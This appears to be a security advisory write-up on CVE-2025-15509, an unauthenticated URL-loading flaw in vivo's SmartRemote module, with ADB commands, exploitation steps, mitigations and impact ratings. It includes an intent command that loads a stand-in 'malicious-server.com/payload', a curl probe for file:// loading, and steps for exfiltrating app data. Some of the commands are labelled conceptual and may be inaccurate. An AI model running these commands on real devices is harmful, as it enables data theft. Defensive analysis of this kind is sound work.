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The SmartRemote module, developed by Vivo for its mobile devices, contains a vulnerability identified as CVE-2025-15509. The issue stems from the module’s failure to properly restrict or validate the URLs it loads. This lack of restriction falls under the common weakness enumeration CWE-306, which signifies “Missing Authentication for a Critical Function.” Essentially, the module does not require any authentication to load a URL, allowing an attacker to potentially invoke this function remotely. An attacker could exploit this by tricking a user into interacting with a malicious link or by serving a specially crafted webpage that, when visited, triggers the SmartRemote module to load an arbitrary URL. The official CVSS vector string (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N) explains the attack is over the network (AV:N), is low complexity (AC:L), requires no privileges (PR:N), but does need user interaction (UI:P). The primary impact is a high potential for information leakage (VC:H), meaning a successful exploit could expose sensitive data stored or accessible by the device. The vulnerability affects all versions of the SmartRemote module prior to version 5.1.2.0. Vivo has acknowledged this flaw and released an update to address it, as detailed in their security advisory.
Platform: vivo SmartRemote
Version: below 5.1.2.0
Vulnerability: URL restriction insufficient
Severity: HIGH
date: 02/27/2026
Prediction: Patch already available
What Undercode Say:
The vulnerability CVE-2025-15509 in the vivo SmartRemote module is a classic example of a missing authentication check leading to information disclosure. Below are analytical commands, exploitation scenarios, and protection strategies derived from the technical details of the advisory.
Analytics:
Check the current version of SmartRemote on a vivo device via ADB (if developer options enabled)
adb shell dumpsys package com.vivo.smartremote | grep versionName
Simulate a malicious URL load attempt (for educational purposes only)
This demonstrates how an app without permissions might try to invoke the SmartRemote Activity
adb shell am start -a android.intent.action.VIEW -d "http://malicious-server.com/payload" com.vivo.smartremote
Monitor logcat for SmartRemote URL loading attempts to detect exploitation
adb logcat | grep -i "smartremote.url|CVE-2025-15509"
Query the device for any processes that have recently tried to access the SmartRemote module
adb shell dumpsys activity activities | grep -A 5 -B 5 "smartremote"
Check network connections made by the SmartRemote process to identify suspicious outbound links
adb shell netstat -n | grep "$(adb shell ps | grep smartremote | awk '{print $2}')"
Verify if the device has applied the security patch level that includes the fix
adb shell getprop ro.vivo.build.security_patch
Use a vulnerability scanner script to check for CVE-2025-15509 (Conceptual)
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
--data "url=file:///data/local/tmp/test.txt" \
"http://device.local/smartremote/load" && echo "Potential vulnerability detected"
List all exported activities that could be vulnerable to similar URL loading issues
adb shell pm list packages -f | grep smartremote && adb shell dumpsys package com.vivo.smartremote | grep -i "ActivityResolver"
Capture traffic from the SmartRemote module to analyze outbound requests
adb shell tcpdump -i any -s 0 -w /sdcard/smartremote.pcap port not 53 and host $(adb shell ifconfig wlan0 | grep "inet addr" | cut -d':' -f2 | cut -d' ' -f1)
Check for the presence of the fix by looking at the file modification dates of the SmartRemote APK
adb shell ls -l /data/app/com.vivo.smartremote-/base.apk
How Exploit:
- Attack Vector: The attacker crafts a malicious URL pointing to internal device resources (e.g.,
file:///data/data/com.vivo.smartremote/shared_prefs/) or an external server collecting data. - Delivery: The attacker lures the victim into clicking a link or visiting a website that contains an iframe or JavaScript designed to invoke the SmartRemote module’s URL loading function.
- Trigger: The vulnerable SmartRemote module receives the request without checking for proper permissions or authentication.
- Execution: The module loads the attacker-specified URL, potentially leaking sensitive files, configuration data, or sending a request to an external server with device-specific identifiers.
- Data Exfiltration: The content from the internal file or the request parameters are sent to the attacker’s server, resulting in information leakage.
Protection from this CVE:
- Immediate Update: Update the SmartRemote module to version 5.1.2.0 or later. This is the official fix provided by Vivo.
- Check for Updates: Navigate to Settings > System Update > Check for updates and install any available software updates that include the patched SmartRemote version.
- Restrict App Permissions: Review the permissions granted to the SmartRemote app. In Android settings, go to Apps > SmartRemote > Permissions and revoke any unnecessary permissions, particularly storage or location.
- Network Segmentation: For enterprise devices, consider network access controls that restrict the device from making arbitrary outbound connections to untrusted servers.
- User Awareness: Educate users not to click on suspicious links or grant unusual permissions to web applications that request access to device features.
- Disable Unused Features: If the SmartRemote functionality is not required, consider disabling the app entirely via the device’s application manager.
- Monitor for Anomalies: Use mobile device management (MDM) solutions to monitor for unusual outbound connection attempts from the SmartRemote app.
Impact:
- Confidentiality: HIGH. An attacker can potentially read local files, access internal app data, and steal sensitive configuration details. The CVSS v4.0 score specifically rates “VulnConfidentialityImpact” as HIGH.
- Integrity: LOW. While the primary goal is information leak, the attacker might be able to influence what data is loaded or sent, but system file modification is less likely.
- Availability: NONE. This exploit does not cause a denial of service; it operates silently in the background.
- User Interaction: REQUIRED. The attack requires the user to click a link or visit a malicious page, which slightly reduces the automation potential but still poses a significant risk via social engineering.
- Scope: The vulnerability is confined to the SmartRemote module and the data it can access, but this could include tokens or cookies from other apps if they are stored in world-readable locations.
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Sources:
Reported By: nvd.nist.gov
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